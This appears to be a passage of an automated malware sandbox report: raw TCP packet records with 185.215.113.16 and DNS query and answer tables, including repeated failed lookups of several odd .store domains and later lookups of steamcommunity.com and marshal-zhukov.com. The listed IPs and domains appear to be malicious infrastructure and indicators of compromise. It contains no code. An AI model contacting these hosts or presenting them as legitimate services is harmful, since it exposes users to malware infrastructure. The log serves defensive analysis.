Nov 11, 2024 19:17:59.591521978 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591535091 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591551065 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591602087 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591613054 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591624022 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591635942 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591645956 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591653109 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591653109 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591665983 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591675997 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591690063 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591703892 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591744900 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638257027 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638277054 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638288021 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638299942 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638310909 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638322115 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638331890 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638343096 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638343096 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638354063 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638360977 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638365984 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638380051 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638406038 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638406038 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638417006 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638422012 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638432980 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638448954 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638459921 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638469934 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638473034 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638484001 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638494015 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638495922 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638509035 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638515949 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638521910 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638535976 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638576031 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638592005 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638621092 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638632059 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638653994 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638664007 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638668060 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638674021 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638679981 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638695002 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638700008 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638708115 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638717890 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638731003 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638737917 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638741970 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638745070 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638767004 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638772964 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638778925 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638791084 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638801098 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638803005 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638813972 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638825893 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638827085 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638844967 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638854980 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638855934 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638868093 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638870955 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638880968 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638891935 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638897896 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638902903 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638916969 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638928890 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638941050 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638942003 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638942003 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638956070 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638962984 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638967991 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638979912 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.638986111 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.638993025 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639004946 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639010906 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.639029980 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639033079 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.639045000 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639055967 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639059067 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.639070034 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.639090061 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.639151096 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639188051 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.639204025 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639215946 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639259100 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.639262915 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639275074 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639288902 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.639301062 CET	80	49929	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 11, 2024 19:17:34.625762939 CET	192.168.2.7	1.1.1.1	0xbf44	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:34.625911951 CET	192.168.2.7	1.1.1.1	0x8944	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:37.347949982 CET	192.168.2.7	1.1.1.1	0xdcb6	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:37.348114967 CET	192.168.2.7	1.1.1.1	0xf23f	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:38.463028908 CET	192.168.2.7	1.1.1.1	0x2cab	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:38.463213921 CET	192.168.2.7	1.1.1.1	0xcccd	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:46.291502953 CET	192.168.2.7	1.1.1.1	0x4632	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:46.291857004 CET	192.168.2.7	1.1.1.1	0xfc38	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:47.556894064 CET	192.168.2.7	1.1.1.1	0x2458	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:47.557043076 CET	192.168.2.7	1.1.1.1	0x9cfa	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 11, 2024 19:17:48.676968098 CET	192.168.2.7	1.1.1.1	0x6acc	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:48.677144051 CET	192.168.2.7	1.1.1.1	0x5b9e	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:48.688173056 CET	192.168.2.7	1.1.1.1	0xf87b	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:48.688457966 CET	192.168.2.7	1.1.1.1	0x8c24	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:48.693120003 CET	192.168.2.7	1.1.1.1	0x1a2e	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:48.693336964 CET	192.168.2.7	1.1.1.1	0xbbc3	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:48.705923080 CET	192.168.2.7	1.1.1.1	0xa4d6	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:48.706119061 CET	192.168.2.7	1.1.1.1	0xe255	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:50.609586000 CET	192.168.2.7	1.1.1.1	0xa831	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:50.609848022 CET	192.168.2.7	1.1.1.1	0x89ec	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:51.069427013 CET	192.168.2.7	1.1.1.1	0xbfec	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.069705009 CET	192.168.2.7	1.1.1.1	0xcbfa	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:51.070229053 CET	192.168.2.7	1.1.1.1	0x4f5b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.070427895 CET	192.168.2.7	1.1.1.1	0xf460	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:51.081193924 CET	192.168.2.7	1.1.1.1	0xfa51	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.081414938 CET	192.168.2.7	1.1.1.1	0xabc	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 19:17:51.443329096 CET	192.168.2.7	1.1.1.1	0xb475	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.443499088 CET	192.168.2.7	1.1.1.1	0x1ff5	Standard query (0)	browser.events.data.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:18:06.133472919 CET	192.168.2.7	1.1.1.1	0x8972	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 11, 2024 19:18:50.329158068 CET	192.168.2.7	1.1.1.1	0xcf48	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.262196064 CET	192.168.2.7	1.1.1.1	0x8d21	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.357321024 CET	192.168.2.7	1.1.1.1	0x859d	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.383652925 CET	192.168.2.7	1.1.1.1	0x4640	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.486227989 CET	192.168.2.7	1.1.1.1	0xd19c	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.533266068 CET	192.168.2.7	1.1.1.1	0x995b	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.633728981 CET	192.168.2.7	1.1.1.1	0x6dcb	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.722256899 CET	192.168.2.7	1.1.1.1	0xa54a	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.814302921 CET	192.168.2.7	1.1.1.1	0xa74	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.902782917 CET	192.168.2.7	1.1.1.1	0xbfa3	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:20.526048899 CET	192.168.2.7	1.1.1.1	0x1eec	Standard query (0)	marshal-zhukov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:28.454797983 CET	192.168.2.7	1.1.1.1	0x4a13	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:28.687678099 CET	192.168.2.7	1.1.1.1	0x1b70	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:28.859363079 CET	192.168.2.7	1.1.1.1	0xa8e	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:28.951859951 CET	192.168.2.7	1.1.1.1	0x91c0	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:29.079880953 CET	192.168.2.7	1.1.1.1	0xcab0	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:29.391231060 CET	192.168.2.7	1.1.1.1	0xee71	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:29.631671906 CET	192.168.2.7	1.1.1.1	0x2d1b	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:29.907852888 CET	192.168.2.7	1.1.1.1	0x88a3	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:30.130764008 CET	192.168.2.7	1.1.1.1	0x535d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:50.393059969 CET	192.168.2.7	1.1.1.1	0xdb16	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:54.222618103 CET	192.168.2.7	1.1.1.1	0xb106	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:54.532186985 CET	192.168.2.7	1.1.1.1	0x22a	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:54.862668037 CET	192.168.2.7	1.1.1.1	0x1277	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:55.049571991 CET	192.168.2.7	1.1.1.1	0x7145	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:55.281533957 CET	192.168.2.7	1.1.1.1	0x618f	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:55.516339064 CET	192.168.2.7	1.1.1.1	0x651a	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:55.754511118 CET	192.168.2.7	1.1.1.1	0xfa34	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:56.002856970 CET	192.168.2.7	1.1.1.1	0x40ed	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:56.236459017 CET	192.168.2.7	1.1.1.1	0xc52b	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 11, 2024 19:17:34.633034945 CET	1.1.1.1	192.168.2.7	0xbf44	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:34.633584976 CET	1.1.1.1	192.168.2.7	0x8944	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 11, 2024 19:17:37.354866982 CET	1.1.1.1	192.168.2.7	0xf23f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:37.355117083 CET	1.1.1.1	192.168.2.7	0xdcb6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:37.355117083 CET	1.1.1.1	192.168.2.7	0xdcb6	No error (0)	plus.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:38.470495939 CET	1.1.1.1	192.168.2.7	0x2cab	No error (0)	play.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:46.298558950 CET	1.1.1.1	192.168.2.7	0xfc38	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:46.300003052 CET	1.1.1.1	192.168.2.7	0x4632	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:46.496506929 CET	1.1.1.1	192.168.2.7	0xe6c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:46.496804953 CET	1.1.1.1	192.168.2.7	0x476b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:46.496804953 CET	1.1.1.1	192.168.2.7	0x476b	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:47.564110994 CET	1.1.1.1	192.168.2.7	0x2458	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:47.564646006 CET	1.1.1.1	192.168.2.7	0x9cfa	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:48.684155941 CET	1.1.1.1	192.168.2.7	0x6acc	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:48.684155941 CET	1.1.1.1	192.168.2.7	0x6acc	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:48.684155941 CET	1.1.1.1	192.168.2.7	0x6acc	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:48.684155941 CET	1.1.1.1	192.168.2.7	0x6acc	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:48.696285009 CET	1.1.1.1	192.168.2.7	0xf87b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:48.696949005 CET	1.1.1.1	192.168.2.7	0x8c24	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:48.701486111 CET	1.1.1.1	192.168.2.7	0x1a2e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:48.701944113 CET	1.1.1.1	192.168.2.7	0xbbc3	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:48.713368893 CET	1.1.1.1	192.168.2.7	0xa4d6	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:48.717067957 CET	1.1.1.1	192.168.2.7	0xe255	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:50.616642952 CET	1.1.1.1	192.168.2.7	0xa831	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:50.616642952 CET	1.1.1.1	192.168.2.7	0xa831	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.225	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:50.618519068 CET	1.1.1.1	192.168.2.7	0x89ec	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:51.076258898 CET	1.1.1.1	192.168.2.7	0xbfec	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.076258898 CET	1.1.1.1	192.168.2.7	0xbfec	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.076747894 CET	1.1.1.1	192.168.2.7	0xcbfa	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 19:17:51.077403069 CET	1.1.1.1	192.168.2.7	0xf460	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 19:17:51.079672098 CET	1.1.1.1	192.168.2.7	0x4f5b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.079672098 CET	1.1.1.1	192.168.2.7	0x4f5b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.088030100 CET	1.1.1.1	192.168.2.7	0xfa51	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.088030100 CET	1.1.1.1	192.168.2.7	0xfa51	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:17:51.088238001 CET	1.1.1.1	192.168.2.7	0xabc	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 19:17:51.451946974 CET	1.1.1.1	192.168.2.7	0x1ff5	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:17:51.451961994 CET	1.1.1.1	192.168.2.7	0xb475	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:18:06.141165972 CET	1.1.1.1	192.168.2.7	0x8972	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 11, 2024 19:18:50.336277008 CET	1.1.1.1	192.168.2.7	0xcf48	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:19:18.285614014 CET	1.1.1.1	192.168.2.7	0x8d21	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.381763935 CET	1.1.1.1	192.168.2.7	0x859d	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.409270048 CET	1.1.1.1	192.168.2.7	0x4640	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.510448933 CET	1.1.1.1	192.168.2.7	0xd19c	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.556066990 CET	1.1.1.1	192.168.2.7	0x995b	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.655661106 CET	1.1.1.1	192.168.2.7	0x6dcb	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.744993925 CET	1.1.1.1	192.168.2.7	0xa54a	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.837169886 CET	1.1.1.1	192.168.2.7	0xa74	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:18.910265923 CET	1.1.1.1	192.168.2.7	0xbfa3	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:20.536570072 CET	1.1.1.1	192.168.2.7	0x1eec	No error (0)	marshal-zhukov.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:20.536570072 CET	1.1.1.1	192.168.2.7	0x1eec	No error (0)	marshal-zhukov.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:28.493802071 CET	1.1.1.1	192.168.2.7	0x4a13	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:28.777337074 CET	1.1.1.1	192.168.2.7	0x1b70	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:28.893655062 CET	1.1.1.1	192.168.2.7	0xa8e	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:28.975145102 CET	1.1.1.1	192.168.2.7	0x91c0	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:29.102392912 CET	1.1.1.1	192.168.2.7	0xcab0	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:29.414930105 CET	1.1.1.1	192.168.2.7	0xee71	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:29.662352085 CET	1.1.1.1	192.168.2.7	0x2d1b	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:29.930376053 CET	1.1.1.1	192.168.2.7	0x88a3	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:30.138567924 CET	1.1.1.1	192.168.2.7	0x535d	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
